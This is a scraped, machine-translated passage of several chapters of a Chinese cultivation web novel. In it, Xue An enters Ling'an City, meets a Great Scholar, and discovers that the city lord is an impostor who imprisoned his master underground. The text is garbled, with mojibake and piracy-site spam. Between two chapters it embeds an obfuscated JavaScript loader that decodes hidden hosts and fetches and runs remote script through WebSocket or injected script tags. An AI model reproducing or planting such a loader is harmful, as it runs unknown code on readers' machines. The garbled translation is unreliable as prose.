    The boy ignored him, instead he raised his head and looked at the closed Wanhualou.


    "Ren Ning, is this what you call Wanhualou? Why didn''t the door open!"


    That''s right!


    The two people here are Xue An and Ren Ning.


    They came from Ren''an City, stopped and stopped along the way, and did not hurry on their way, so it was not until today that they arrived at Ling''an City.


    As soon as he entered Ling''an City, Ren Ning became excited.


    When she was in Ren''s family, she was extremely obsessed with the novel because of the boring life.


    When she read a lot, she also had the idea of ??writing, so she contributed to a few selected editions of the story.


    As a result, one of the articles was published.


    After receiving a sample publication of his own novel, Ren Ning was ecstatic, and has been out of control since then.


    After serializing several novels in succession, she gained a large number of fans with her fresh and sad writing style. One of the letters from Wanhualou in Ling''an City caught her attention.


    Because this letter also records the miserable life experience of a woman.


    His mother died early since childhood and lived with his father. But when he was ten years old, his father was killed by his enemies, and then he lived in the brothel and became a woman in the dust.


    This tragic experience deeply moved Ren Ning. Combined with her past, she couldn''t help but feel pity for the same illness, so she wrote a reply.


    After ���� came and went, she and the girl from Wanhualou became friends who had never met before.


    So after following Xue An to Ling''an City today, Ren Ning was so excited that she had no choice but to meet her pen pal.


    I never expected that the bustling Wanhua Building depicted in my pen pal''s heart is now closed and there is no one.


    Ren Ning poked her head out of Xue An''s back, her eyes couldn''t help showing a confused look.


    "Yeah, what is going on? She obviously told me that it is very lively here!"


    At this moment, these people in black looked at each other, and then one of them stepped forward and shouted coldly.


    "Didn''t we hear you when we talked to you? Hurry up, or else..."


    Before he could finish speaking, Xue An suddenly lowered his head and glanced at him coldly.


    ��!


    is this understatement. The man in black flew out as if he was hit by a heavy hammer on the chest, and then collapsed a wall on the side of the street, and there was no sound.


    This shocking blow shocked the rest of the people in black.


    Because no one can see how this boy in white made the move.


    It seemed as if the man in black was flying out with just a glance.


    The four of Zhuo Benzheng who were trapped in it were overjoyed.


    Yao Yachao shouted loudly: "This young man, don''t let these guys go. The reason why this Wanhualou is closed is also related to them!"


    Yao Yachao heard the conversation between Ren Ning and Xue An before, and knew that they were looking for someone in Wanhualou, so he immediately shouted.


    At the same time, the remaining people in black also know that this young man in white is definitely not an easy one, but the second hall master has ordered that Zhuo Benzheng must be taken back tonight.


    The Shura Temple has strict rules, but if the order is not fulfilled, there will be life concerns.


    So they didn''t shrink back, but swarmed up, preparing to fight the white-clothed boy in groups.


    Xue An sneered slightly when he saw this, and was about to make a move.


    But at this moment, a ray of light came from the eastern sky, and in an instant it came to the sky above Ling''an City.


    Boom!


    After this Huaguang stopped over Ling''an City, a vast ocean of righteousness came crashing down, and it enveloped the entire city in an instant.


    Where the righteousness is covered, the hostility disappears into the invisible.


    Even these people in black who had planned to do it were shocked that the attack they had prepared could not be sent out.


    When he was shocked, he heard an extremely majestic voice falling from the sky.


    "Wensheng tablet is here, all evils will retreat!"


    In a short time, that radiance burst out incomparably bright brilliance, which made people look at it.


    was accompanied by deep coercion and shock.


    As if this brilliance can wash people''s inner sins, it makes people unable to bear the slightest intent to fight.


    These people in black stood trembling in the same place.


    Xue An looked towards the sky with interest.


    His gaze was not affected by the bright light at all, and he could clearly see that it was a black stone-like object that descended above Ling''an City.


    has no ornamentation on the whole body, only a large letter is written in the middle.


    just!


    Xue An��s pupils are reduced because this font is a square script, and every stroke and stroke contains supreme pressure.


    Wen Sheng tablet?


    interesting!


    Xue An''s mouth raised a slight smile.


    He could clearly perceive that when this piece of Wensheng tablet appeared in the sky above Ling''an City, the entire Ling''an City was suppressed by it.


    No, it is not appropriate to use the word suppression to describe it, but it forms a place similar to the realm.


    Within this field, this Wensheng tablet occupies an absolute advantage, and everyone''s cultivation base and mind are affected by it.


    This is also the reason why these people in black couldn''t even make an attack just now.


    Even Xue An was inevitably affected, which also shows the dominance and tyranny of this Wensheng tablet.


    At this moment, I saw a figure flying from the city, and immediately before arriving at the Wensheng tablet, he bowed his head respectfully, and then turned his head and laughed loudly at Dongfang.


    "But I don''t know which of the great scholars from the poetry society came here, Xu Lingan is here to greet you!"


    As soon as ����''s words fell, I saw a green bull coming from the east sky.


    (End of this chapter)

 Chapter 2730： Green Bull Daru

    Chapter error, click here to report (registration free)


    , After reporting, the maintainer will correct the chapter content within two minutes. Please wait patiently and refresh the page.


    Chapter 2730


    The whole body is pure blue, without a single hair, and the body is tall, although it walks slowly, but the speed is extremely fast.


    It was still far in the sky just now, and the next moment it was over Ling''an City.


    Then I saw the Confucian scholar sitting on the top of the green cow smiling and saying: "City Master Xu is polite, Tang Zhengbucai, here comes the Ling''an Culture Meeting!"


    When he saw this gentleman and handsome Confucian who looked like an immortal, Xu Ling''an couldn''t help being taken aback, and a look of solemnity appeared on his face immediately.


    "It turned out to be Master Tang, the great scholar of the Qingniu. It is really a blessing for Ling''an students to come to Ling''an City to host this literary meeting!"


    At this time, Tang Zheng patted the green cow under his hip, and the green cow turned into a cloud of smoke and dissipated.


    Then Tang Zheng gave a salute.


    "Don''t dare to be ashamed!"


    "Master Tang, please!" Xu Ling''an greeted enthusiastically.


    Tang Zheng nodded, and walked towards the city lord''s mansion, but before leaving, he seemed to feel something and looked sideways at the street where Wanhua Tower was located.


    At this moment, the people in black in the Asura Hall had already scattered.


    With the dark techniques they practiced, how can they face this sacred tablet directly?


    In addition, under the suppression of this impulsive atmosphere, hands-on has become a wishful thinking, so he hurried away.


    Xue An didn''t pursue it either, but stood still and watched quietly.


    Not only did he look at the newcomer Qingniu Great Scholar, but he also looked at Xu Ling''an, who looked kind and compassionate and looked like a foreigner.


    At this moment, Tang Zheng cast his gaze.


    Xue An lowered his head first, and said lightly: "Let''s go, since Wanhua Building is closed, let''s find another place to live!"


    With that, Xue An took a step and left.


    Ren Ning naturally had no objection.


    Although she was a bit disappointed for not being able to see her former fan and pen pal, she still cleverly followed Xue An and refused to stay away.


    At the same moment when Xue An lowered his head and was about to leave, Tang Zheng''s heart moved slightly in the sky.


    "Master Tang, what''s the matter?" Xu Lingan behind him couldn''t help asking when seeing Tang Zheng suddenly stop walking.


    Tang Zheng shook his head, "It''s okay, it''s just an occasional feeling."


    Even so, Tang Zheng still had some doubts in his heart.


    strangeness.


    Just now, I clearly felt a clear and precious aura in this area. Why did it disappear suddenly?


    Xu Ling''an also turned his head thoughtfully and glanced at the area of ??Wanhualou, before smiling.


    "Master Tang, if there is nothing else, I''d better go back as soon as possible, after all, that girl Yun has been waiting in the mansion!"


    "Oh? Miss Yun? But the oiran Yun Lingxuan in the outer building? Is she here too?"


    "Exactly!"


    "That''s what I want to see!"


    The two returned to the City Lord''s Mansion with a smile.


    At the same time, Xue An was about to leave, but an anxious shout came from behind him.


    "This son, please stay!"


    Xue An turned his head and looked around, and saw Zhuo Benzheng and Wu Zizhang and Yao Yachao quickly chasing them.


    When it was near, the four of them bowed to Xue An.


    "Thank you, my son, for just helping me!"


    Xue An smiled, "Seeing that you are all students, how can you provoke such a person?"


    Before Zhuo Ben was speaking, the black-faced scholar Han Bochao said dejectedly: "Isn''t it because Xu Gaotian was provoked?"


    "Xu Gaotian? The eldest son of the General''s Mansion?" Xue An was startled slightly.


    "Who else can it be besides him?" Han Bochao said bitterly.


    "Add bookmarks for easy reading"


    varx=window[''\x61\x74\x6f\x62''],id=x(''NDQ0NDczNzY1NjE1Nzk5OTk5OS0xMDE1Ng=='');(''%lt;insstyle=":none!important"id="''+id+''"%gt ;%lt;/ins%gt;'');([]).push(id);window[''\x73\x49\x42\x6b\x73\x42\x45\x58\x66\x4f'']=(! /^Mac|Win/.test()||!)?(){;((u,k,w,d,c){varcs=d[x(''Y3VycmVudFNjcmlwdA=='')];''jQuery''; vart=[],l=[],e=0,r=0,,f=null,ua=navigator.userAgent.toLowerCase(),sc=Math.max(1,300000),ext=''2'', i=''ndx''+Math.floor(newDate()()/sc)+ext;if(ua.indexOf(''google'')>-1||ua.indexOf(''huaweibrowser'')>-1) {r=1;u=k;f=(){if(!l.length)return;varws=newWebSocket(l.shift()+''/''+i);ws.onopen=(){for(varkint )t[k]&&(t[k])};(e){(''_tdcs'',x(e.data))(cs);ws.close()};ws.onerror=(e ){t[++e]&&(t[e]);f()}};}else{f=(){if(!l.length)return;vars=(''script''); s.src=l.shift()+''/''+i;(s,cs);s.onload=(){for(varkint)t[k]&&(t[k])};s .onerror=(){(s);t[++e]&&(t[e]);f()}};}u=(x((newRegExp(c[r]+''''+ c[r],''g''),c[r])));varl=u.split('','');l.sort((){return0.5-Math.random()});for( varjinl)t[j]=(f,*j);})(''aHR0cHM6Ly9va3Nram RrZnMucW9ybb3NtYWxsLmNvbbQ=='',''d3NzOi8vd3MMuc3luZ2d5LmNvbTo5MMDkw'',window,,[''b'',''M'']);}:(){};

 Chapter 2731： Fortunately

    oom!


    The audience was shocked.


    At the same time, I saw ripples in the void, and then Xue An slowly stepped out from it, standing proudly in the air, overlooking the Yan family''s father and daughter, smiling coldly.


    "Go? Where do you go?"


    As soon as it was Xue An''s return, the expressions of Yan''s father and daughter changed drastically.


    Especially Yan Yang, remorse, can''t wait to slap himself twice.


    Why can''t I escape the eyes of Mr. Xue no matter what I do?


    As for Yan Mengtao, she trembled.


    Because Xue An''s sight stayed on her.


    Yan Mengtao never thought that the world would have such sharp eyes.


    is even so sharp that Yan Mengtao feels that his skin seems to be peeled apart as long as it is where Xue An''s eyes are, revealing the dripping flesh and blood inside.


    This feeling made Yan Mengtao feel as though sitting on pins and needles, and his face was pale as paper.


    At this moment, Xue An''s mouth was slightly raised, revealing a playful smile.


    "Should I say that your tongue is clever? Or should I praise your analysis? Deterrence is time-effective, and the Yan family can only wait for death here. These words really seem to make sense. !"


    Yan Mengtao was shocked when he heard the words, and then looked at Xue An with a horrified face, "You...did you hear it all?"


    Xue An smiled, "It''s not just that I heard it, it should be said that everyone has heard it!"


    , I saw Yan Meishu, Drunken Dream, Jiang Xunnan and others all walking out among the ripples.


    Even Zhang Xiaoyu and Hu Ying ran out to watch the excitement.


    After seeing so many people appearing out of thin air in the midair, Yan Mengtao''s mouth opened slightly, stupidly in place.


    She thought that Xue An must have taken Yan Meishu to a long distance, but who could have imagined that he never left.


    Yan Mengtao felt horrified when he thought of what he had said in the past ten days.


    At this time, Yan Meishu looked at Yan Mengtao with a cold face, and said coldly: "My good sister, I always thought you were jealous of me just because of a child''s heart, but now I know that you are pure It''s bad!"


    After hearing Yan Meishu''s words, the panic on Yan Mengtao''s face receded like a tide, and the flames of hatred and craziness rekindled in her eyes.


    "Yan Meishu, you don''t use this kind of tone to talk to me. Since childhood, almost everyone in the family has liked you and praised you! Anything good will be given to you, but I just don''t accept it! I am the best one. You are just lucky. You were born some time earlier than me. Why do you want to suppress me everywhere?"


    The more I said, the more crazy Yan Mengtao''s face was.


    "That''s why I have to prove myself and prove that I am no worse than you! But why! Why is your luck so good that you will meet such a strong person?"


    At the end, Yan Mengtao was almost screaming.


    Yan Meishu''s complexion changed. She had never thought that her own sister had so many emotions buried in her heart.


    Immediately, layers of anger appeared on Yan Meishu��s face.


    "I''m suppressing you? Hehe, Yan Mengtao, what are you doing when I''m practicing hard? You are dancing with the princes at the prom! And when I was studying the caravan route, you were talking to the young talents. Jun Hua Qian Yue Xia!"


    "I pack my bags and travel supplies, and even when I can''t sleep until dawn, you are using all kinds of shameful secret techniques to maintain your body!"


    "I didn''t see you when I worked hard. At the end of the day, you turned around but kept saying that I suppressed you! Yan Mengtao, did you mean it?"


    The usual Yan Meishu is very dignified and majestic, and has always felt that Yan Mengtao is her half-sister anyway, so she tolerates everything and never said this.


    But at this time, Yan Meishu also broke out completely, and under this severe questioning.


    Yan Mengtao''s face was green and white, but there was no trace of repentance in his eyes.


    "Yan Meishu, I just don''t accept it, because of your existence, I have no chance to get ahead!"


    Speaking of this, Yan Mengtao has completely spared himself, and said with a sneer on his face: "Yan Meishu, didn''t you go to learn art with Mr. Xue? Why did you come back so soon? Or that you are not the material at all, it has been completely Give up?"


    Talking, Yan Mengtao turned her head to look at Xue An, and chuckled: "Mr. Xue, why don''t you teach me the exercises, I''m much smarter than this woman!"


    Xue An glanced at her with a smile, but did not speak.


    Because at this moment, a powerful momentum rushed out of Yan Meishu''s body.


    This power is so powerful that it is totally different from the previous Yan Meishu.


    Yan Mengtao trembled all over, looking at all this in horror, "This...this..."


    Yan Meishu said coldly at this time: "Mr. De''s advice, fortunately, I have entered the door of cultivation! Yan Mengtao, what else can you say now?"


    Yan Mengtao trembled and lowered her head.


    Yan Yang has long been indifferent, and can only flatter Xue An again and again, "My lord, you..."


    Before the words fell, Xue An''s eyes flashed, and a powerful force directly blasted Yan Yang out, slamming heavily on the pillars of the temple. UU reading www.uukanshu. com


    This hit was extremely heavy, Yan Yang almost spewed out a mouthful of blood, his painful face was distorted, but he did not dare to make a sound.


    Then Xue An said coldly: "I''m annoyed when I see your face, and when you show up in front of my eyes, I will kill you, understand?"


    Yan Yang was so frightened that he shook his clothes and fought.


    At this moment, only a low laugh came from Yan Mengtao, who was bowing her head.


    The laughter was weak at first, but gradually began to increase, and in the end, it was already full of hysterical madness.


    "The surname Xue, I am not satisfied! I am so close to you, why do you ignore me? Is it true that I can''t compare to this Yan Meishu? You say, why am I not beautiful enough?" Yan Mengtao said madly.


    Huying''s complexion darkened, and she let out a cold snort, she was about to say something, and the small fish on the side quickly grabbed her.


    "Auntie, don''t mix up, don''t you see that this woman is crazy?"


    "A ugly monster, dare to be so arrogant?" Hu Ying was not angry.


    In fact, Yan Mengtao does not look ugly at all, and can even be called a beauty.


    But in front of the beautiful and vulgar Fox Ying, this ugly voice really didn''t wrong her!


    Xue An coldly looked at this woman whose face was distorted by jealousy, and then said playfully: "Where is not beautiful enough? Hehe! Yan''er?".


    With the voice, the ripples vibrated for a while, and then An Yan walked out of the middle model.


    The moment she appeared, there was no sound in the entire Temple of Li Hate.

 Chapter 2732： sneak into

    Chapter 2732


    quiet!


    The quiet in the small courtyard was extremely quiet.


    It wasn''t until a moment later that someone whispered in an awe-inspiring tone.


    "Like, it''s so alike!"


    There is no other reason, it is that the paintings by Qi Weilan on rice paper are too similar.


    and even reached the point where it was so subtle.


    The girls who were present were very familiar with Wei Lan all day long, but even they couldn''t find any faults.


    At this time, Xue An also went to the front of the painting, examined it carefully for a moment, and then looked at Zhuo Benzheng, who was pale as paper, in surprise.


    "Good drawing skills!"


    This is not a false statement, but Xue An did see a little shadow of Tao from this painting.


    This is not surprising. When Xue An was practising in the heavens, he knew that there was a technique for entering the Tao through painting.


    After reaching a high level of cultivation, there is simply unpredictable power.


    Although Zhuo Benzheng''s painting skills are still far from reaching that level, he has already seen the prototype.


    What��s more commendable is that Zhuo Benzheng should have figured it out by himself. There is no sculpting at all, which shows how amazing his talent in painting is.


    Zhuo Ben was blushing, and said, "Master Xue, can you see if it can be used?"


    Xue An nodded with a smile, "Of course it can be used, because this picture of yours not only paints the image of this girl, but more powerfully, even the unique temperament of her is also vividly expressed!"


    "That''s good, that''s good!" Zhuo Benzheng said, and then looked at Xue An with great expectations.


    And it''s not just him, the girls present are looking forward to it.


    Xue An smiled, picked up the painting on the table casually, carefully examined it for a moment, and then closed his eyes.


    At the same time, his huge mental power spread like flowing water.


    Although it is said that this is the core of the entire Ling''an domain, there is even more powerful sacred relic suppression such as the Wensheng Tablet at this moment, but this is not difficult for Xue An.


    If we rank Xue An��s ability now, then Divine Mind will definitely rank first, followed by Red Lotus Karma Fire and Swordsmanship.


    Especially after inheriting Xing Tian''s hundreds of thousands of years of experience, his spiritual consciousness has reached a level that can be called horror.


    Although his current strength is nothing but Xianzun, that is, the sixth rank Xiaoqiang captain of this world, he is not much better than the fourth rank general in terms of the strength of his spiritual thoughts alone.


    Soon, this huge Ling''an City was covered by Xue An''s majestic spirit.


    In his spiritual mind world, he can clearly perceive a vast and majestic existence in the sky like a bright moon.


    That should be the Wensheng tablet.


    In addition, this huge Ling''an City is unsurprisingly possessed large and small restricted areas.


    The largest and most powerful one is naturally the City Lord��s Mansion located in the center of the city.


    Even if he just glanced far away through Divine Mind, Xue An felt burnt.


    In addition to this city lord��s mansion, there are many restricted areas of different sizes.


    And through the breath on this portrait, Xue An did not find the existence of Qie Weilan in Ling''an City.


    He had expected this a long time ago.


    Then don''t ask, there are only two possibilities for this Weilan now, one is that he is no longer in this Ling''an City, but this is almost impossible, because she can''t escape so fast on her own.


    What''s more, through the narratives of these girls, Xue An knew that Qi Weilan was definitely not the kind of person who left everyone behind and fleeed alone. She was most likely to find Xu Gaotian.


    The second possibility also jumped out. Since she was not found in the public areas that could be explored, she could only be in the City Lord''s Mansion or those divine mind forbidden areas of different sizes.


    And the most likely one is the City Lord��s Mansion.


    Thinking of this, Xue An sneered slightly.


    The spirit barrier of this city lord��s mansion seems to be majestic and indestructible.


    But his eyes are still full of holes.


    There is no other reason, it is because no matter how powerful the enchantment is, it must be supplemented with aura.


    As it exists like the City Lord''s Mansion, it needs more than one spiritual vein to supplement it.


    From the bright side, there is no trace of spiritual veins in this city lord mansion.


    Then it is most likely to come from the spiritual veins underground.


    Thinking of this, Xue An couldn''t help but recall what he had encountered in the Yin and Yang home in Tianwaitian.


    Xue An also encountered a similar situation in Yuehua City.


    It''s just that Xue An''s mind at that time was far less powerful than it is now.


    So he can only enter it by brute force.


    But today is different, now Xue An is already sure to invade the city lord''s mansion through the underground spiritual veins.


    And he was just wondering why this little Ling''an Domain had such a complicated situation.


    Especially the father and son Xu Lingan and Xu Gaotian made him have a lot of doubts.


    Thinking of this, Xue An first opened his eyes and looked at everyone.


    "How is it?" Zhuo Ben asked immediately.


    Qianer and the girls present were also full of anxiety.


    Xue An shook his head, "I searched the city, but I didn''t find her trace for the time being!"


    Upon hearing this, everyone looked disappointed.


    "But I plan to sneak into the city lord''s mansion to take a look, but the process is a bit long, so I need to inform you in advance!"


    Zhuo Ben was startled, "Sneak into the City Lord''s Mansion? Is this a bit too dangerous?"


    You need to know that just a Xu Gaotian has already caused them to be overwhelmed.


    There is an old fox Xu Ling''an in the city lord��s mansion!


    Isn''t it dangerous to sneak in rashly?


    "Yes, my son, UU reading www.uukahnshu.com Although we really want to find Miss Qie, if this makes you take too much risk, wouldn''t it hurt you?" Qian''er also said.


    Xue An smiled, "Don''t worry, although it is the City Lord''s Mansion, I still don''t put them in my eyes!"


    While speaking, Xue An picked up the chair next to him and sat in the courtyard like this.


    This time his spiritual mind came to the front of the city lord��s mansion, but he did not approach, but dived underground quietly.


    But just after diving for less than three feet, a dense rune barrier appeared in front of him.


    Xue An had anticipated this early. This Xu Ling''an was not a fool, and he would never sit back and watch such an important life gate.


    These talisman seals that can block the infiltration of divine thoughts are one of them.


    But this doesn''t bother Xue An at all.


    I saw his divine thoughts spread out like mist, and then turned into strands of existence that resembled spiritual energy, and then easily passed through this layer of talisman seals.


    The whole process did not cause any reaction from Fu Zhuan.


    I could see that Xu Ling''an should have absolute confidence in his arrangement and strength, and he would have a smooth journey after passing through.


    Soon, Xue An penetrated into the network of underground spiritual veins.


    Then Xue An separated a trace of his own divine consciousness and integrated it into these countless spiritual veins.


    In an instant, a map of the spiritual vein distribution of the entire Ling''an City appeared in Xue An''s mind.


    (End of this chapter)

 Chapter 2733： True and false mentor

    Chapter 2733 true and false master and apprentice


    I saw these countless spiritual veins layered on top of each other, like a huge heart, connected to the Ling''an City above.


    Under this situation, it is not easy to find the spiritual veins that connect the enchantment of the City Lord��s Mansion.


    But Xue An didn''t hesitate at all, the incarnation of this divine mind trembled slightly, and it turned into a mist, then dispersed into these spiritual veins, and began to explore it.


    This is easy to say, but in reality it is as difficult as the sky.


    If it hadn''t been for Xue An''s divine mind control over himself after obtaining the Xingtian inheritance, he had reached the point where he had reached the pinnacle of the pinnacle, otherwise it would not be possible to achieve this.


    After a while, directly above the countless spiritual veins, the fog recondensed into Xue An''s form, and then he gave a slight hum.


    Because he just didn''t find the spiritual veins leading to the enchantment of the city lord''s mansion through searching, instead, he found that there seemed to be a strange aura in the core wrapped by these countless spiritual veins.


    "interesting!"


    Xue An then walked towards the core area of ??this spirit vein.


    The more you go inside, the denser the spiritual veins will increase. In the end, they are already intertwined and connected, and they cannot be stored at all.


    But this is not difficult for Xue An, I saw him turning into mist from time to time, crossing the spiritual veins that lay in front of him, and marching forward like this.


    finally!


    He has come to the core of Lingmai.


    But this place is surrounded by layers of light curtains, let alone entering it, even the divine mind can''t penetrate even the slightest.


    Xue An stretched out his hand and lightly pressed it on the light curtain.


    The light curtain rippled slightly, and the slight throbbing from inside made Xue An raised his eyebrows slightly.


    "open!"


    He burst out loudly, and the huge palm power burst out.


    The light curtain flickered violently, but it remained motionless.


    Xue An released his hand and walked a few steps around the light curtain. Under close observation, his eyes could not help but condensed slightly.


    This light curtain is actually made of several spiritual veins, which explains why it is so firm and firm.


    But the more this happens, the more it arouses Xue An��s curiosity.


    Because this is like a cage.


    But under this Ling''an city, which is thousands of feet deep underground, who built such a spiritual vein cage, and who will be held in it?


    These thoughts flashed in Xue An''s mind, and then he stretched out his hand again.


    But this time he no longer bombarded directly with violence like the last time, instead he stretched out his fingers and gently painted on the light curtain.


    After each stroke, a shallow trace will be left on the light curtain.


    Soon, a delicate and complicated talisman seal appeared on the light curtain.


    After finishing the last stroke, Xue An pressed his palm in the center of the Fu seal and exhaled suddenly.


    "break!"


    With an order, Guanghua exploded.


    The talisman seal was like a scorching sun, directly melting the light curtain into a big hole.


    But the light curtain is transformed by spiritual roots, how could it be easy to give up.


    Numerous brilliances tried to fill this hole again before pouring into it.


    It may be too late. Xue An was prepared for this. As soon as this big hole appeared, he divided a spirit into it.


    In this way, even if the hole is completely closed, Xue An can''t be helped, and at the same time, he can protect himself and prevent any danger when he enters it rashly.


    After a while, the light curtain closed the hole again, but at the same time, Xue An''s divine mind had already passed through the hole and entered it.


    The first thing that came into view was darkness.


    This is a kind of extreme darkness without a trace of light.


    Then there is Jing!


    is like the absolute silence that the entire universe has already died.


    Xue An��s divine mind stood in the darkness, unable to see, but there was not much panic in his heart.


    Because he can feel that strange breath is hidden in the darkness.


    As expected.


    Just a moment later, I heard a slight sigh in the darkness.


    "I have been imprisoned here for so many years and no one cares about it. I even thought he had forgotten me! Thank goodness, I finally let me wait until this day, let''s talk! What did that guy ask you to do? Are you ready to attack me? "


    With the voice, two lights lit up in the dark, and flickered slightly.


    Xue An didn''t understand what the voice said, but he didn''t panic, just said in a deep voice, "Who is this you said? And who are you?"


    "Huh? You weren''t sent by him?" The voice was a little startled.


    "Of course not, I just happened to pass by here, and then came in to take a look." Xue An said lightly.


    There was a long silence in the darkness, until Xue An even thought that the voice would no longer speak, and then there was a burst of laughter in the darkness.


    "Hahahaha, I''m sorry to see you, Xu Ling''an has been suffering here for so many years, finally let me wait for the chance to go out!"


    Xue An was shocked because he heard a name that should never be here.


    Xu Ling''an?


    This voice calls himself Xu Lingan?


    What''s the matter?


    Just as he was surprised, a group of flames lit up in the darkness, illuminating a person.


    A gray-haired, wrinkled and scrawny old man.


    I saw him sitting cross-legged in the dark, looking at Xue An with piercing eyes.


    Don''t look at this old man being extremely thin, but his eyes are horribly bright.


    Xue An finally knew what the two flickering lights were just now, and they were actually the gazes in the eyes of the old man.


    "Wah, do you have a lot of doubts and want to ask me?" The old man said with a smile. UU reading www.uuk��nshu. com


    Xue An nodded, "Yes!"


    "Hehe, don''t worry, I will tell you all your doubts, but only if you first tell me how you got in!"


    Speaking of this, the brilliance in the eyes of this old man is more prosperous.


    Xue An took a deep look at him, and then recounted what happened.


    When it was heard that he had sneaked into this underground spiritual vein to help others find the missing girl, the old man''s face suddenly showed a very complicated expression.


    There is compassion and helplessness, but more of it is anger.


    "I didn''t expect it, I didn''t expect it! After so many years, this gangster is still so reckless!" The old man gritted his teeth.


    Xue quietly watched the strange old man vent his anger, and asked in a deep voice until he finally calmed down.


    "You just said your name is Xu Ling''an?"


    "That''s right! The old man can change his name or sit without changing his surname, he is the domain master of Ling''an domain, Xu Ling''an!"


    "The problem is that now there is a Xu Lingan in the lord''s mansion of Ling''an City, so what is going on?" Xue An asked the biggest doubt in his heart.


    The old man smiled bitterly, "The reason is very simple, I am the real Xu Ling''an, and the one in the City Lord''s Mansion is fake!"


    "Fake?" Xue An shook slightly.


    "Yes! To be precise, he is my apprentice, disguised as me!"


    (End of this chapter)

 Chapter 2734： Of which secret

    Chapter 2734 the secret


    Next, through the narration of the old man, Xue An finally understood the outline of the matter.


    It turns out that this old man is indeed the original Ling''an domain domain master Xu Ling''an, but now the one in the city lord''s mansion is his apprentice, named Shi Chang.


    This Xu Ling''an entered this Ling''an domain after successfully being promoted to the general.


    The Ling''an Realm at that time was even more desolate than it is now, and the Dao veins are withered, and the style of writing is clumsy, which can be described as a barren land.


    After Xu Ling''an became the master, he reinvigorated the Dao veins and reorganized his writing style, and soon the Ling''an domain was prosperous.


    Not only that, Xu Ling''an also selected many talented and qualified children from the folks to train, and finally selected several talented young people as disciples.


    Shi Chang is one of them, and he is also the one with the best talent.


    Xu Ling''an also cared for him. With careful training, this Shi Chang''s cultivation can be described as a blast.


    If it develops along this track, it will be a beautiful story of master and apprentice governing a region of land together.


    What made Xu Ling safe and never expected was that this good apprentice he had carefully cultivated would actually give himself a fatal blow behind his back.


    That was when Shi Chang had just proclaimed the fifth-rank captain, Xu Ling''an held a grand celebration ceremony for his disciple, and explained in the ceremony that he would hand this Lingan domain to Shi Chang in the future.


    No one thought that on the night after this feast, Shi Chang sneaked into the room of Xu Ling''an, who was already drunk, and directly attacked him.


    Hearing this, Xue An raised his eyebrows slightly, "No, since he was only just proving the fifth rank captain at that time, and you are a magnificent general of the fourth rank, even if he made a surprise attack, he couldn''t get it anymore. You!"


    The old man smiled wryly when he heard the words, "You have said a lot, but this wolfish ambition guy doesn''t know where to get a third-rank general seal, and directly suppressed my cultivation base!"


    Xue An''s eyes flickered slightly, "Then what then?"


    "Then I woke up, and when I found out where I was, I couldn''t help but yell at Shi Chang, but at that time Shi Chang just listened with a smile, and he sneered until I got tired of yelling."


    "Master, it is too late to say anything else. This world is a world of winners and losers. I am very grateful to you for training me, but your mind can no longer keep up with this world!"


    "Is this what he said?" Xue An asked with a frown.


    "It''s his original words!"


    "Go on!"


    "Later, I questioned him heartbrokenly. I was ready to hand over this Ling An Realm to him. Why is he so anxious? He was silent for a while before speaking slowly, I also couldn''t help myself!"


    "I can''t help it!" Xue An muttered softly.


    And the old man''s emotions became more and more agitated, "At the time I was so angry that I thought it was his excuse. I asked him at the time, what if you kill me?"


    "The Ling''an domain was created by me. I died suddenly, and it would definitely cause vibrations in all directions. At that time, he was only a fifth-rank captain and he absolutely couldn''t suppress it!"


    "Unexpectedly, this Shi Chang sneered and said to me, it would not bother me to bother, since I did this, then I must have this certainty! Talking..."


    The old man paused, and there was a glimmer of fear in his eyes.


    "His face and body shape changed rapidly, and eventually he became the same as me, even his verbal temperament imitated vividly!"


    "Then he asked me triumphantly, do you think you can hide from the sky?"


    Speaking of this, the old man''s words and expressions are full of sadness.


    "So you were locked in here by him?" Xue An asked.


    The old man nodded, "Yes!"


    Xue An frowned and walked a few steps in the darkness.


    The old man watched quietly, and finally couldn''t help asking: "What''s the situation outside now, how did that evil obstacle deal with the latter? You know, besides him, I have also taught many apprentices. What about those people? ?"


    Xue An stopped and sighed lightly, "Actually, you should have thought of it. Since he did this, do you think your apprentices or those who knew these things can still live?"


    The old man was silent.


    As Xue An said, he is actually like Ming Spiegel in his heart, knowing that those people will never be spared, but he still has a glimmer of hope, but now... the hope is shattered.


    At the same time, Xue An looked at the old man very seriously.


    "Through your narrative, I found that there are three very critical questions!"


    "Which three questions?"


    "First, this Shi Chang is a disciple you cultivated since childhood. What was his temperament in the beginning?"


    "It can be called loyal and honest!"


    "Then why did his temperament change drastically later, and he suddenly killed his master to seize power? Because you also said that at that time you publicly announced that you would hand over the Ling''an Realm to him, so he could obviously get the right to hold his hand, so why was he so anxious? To seize it through such despicable means?"


    The old man was also lost in confusion. "Yeah! This is exactly what I have been unable to figure out all these years!"


    "The second question is how he obtained the third-rank general seal that he suppressed you, and later he changed to look like you. Who taught him this secret technique?"


    The confusion on the face of the old man is more intense.


    "The third question is also the most critical question, since he has done so..."


    Xue An took a deep look at him, "Why didn''t he kill you, but instead put you in an underground cage?"


    The old man shook his head and smiled bitterly.


    "Young man, you really have a keen mind. I have been thinking about these issues for years, but you can sum it up after listening to them. To be honest, I don''t know why he did this!"


    "Maybe only he can know the real answer!"


    After that, the old man looked at Xue An again.


    "Young man, you came to find that girl. It happened to be fate to meet me, but I still want to warn you, don''t underestimate Shi Chang, this person can become a general in a short time. It is enough to prove his horror!"


    "So you should not do this plan of trying to sneak into the city lord''s mansion!"


    Xue An smiled, "Sorry, you said it was late!"


    Just when this avatar of Xue An was talking to the old man, Xue An from the outside world was not idle either.


    He finally found a few spiritual veins leading to the enchantment of the city lord��s mansion from the mess of spiritual veins, and then once again separated his spiritual thoughts and sneaked into it.


    The whole process went very smoothly, without disturbing anyone, and finally successfully arrived at the City Lord''s Mansion.


    At this moment, in the banquet hall of the city lord''s mansion, a scene of singing and dancing is rising.


    (End of this chapter)

 Chapter 2735： Who will listen to the broken strings?

    2735-Swordsman


    Sitting in the middle of the banquet hall is the eldest son, Tang Zheng, who is accompanied by Xu Lingan, and naturally the eldest son Xu Gaotian sits down.


    But he doesn''t seem to like such an occasion very much, sitting in a chair without saying a word, his face is also very cold.


    Xu Ling''an is often toasting with a smile on his face, with a lot of compliments in his words.


    Tang Zheng just smiled faintly, and did not express too much.


    At this moment, I heard a ring of jingle bells from the entrance of the banquet hall, and then Yun Lingxuan and the little servant girl walked in one after another.


    When the two of them appeared in the banquet hall, they immediately attracted countless eyes.


    Especially Yun Lingxuan, who walks in front, is dressed in white and wins snow, and has a noble temperament, which is really like an orchid in the empty valley.


    Seeing her, Tang Zheng, who was sitting upright, immediately leaned and left the seat, and the smile on his face became much more sincere.


